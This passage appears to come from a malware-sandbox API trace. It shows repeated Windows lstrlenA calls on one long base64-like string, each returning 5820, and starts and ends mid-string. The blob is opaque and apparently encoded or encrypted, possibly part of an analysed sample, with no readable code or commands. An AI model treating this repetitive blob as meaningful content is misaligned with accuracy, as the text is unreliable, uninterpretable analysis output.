KVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.640] lstrlenA (lpString="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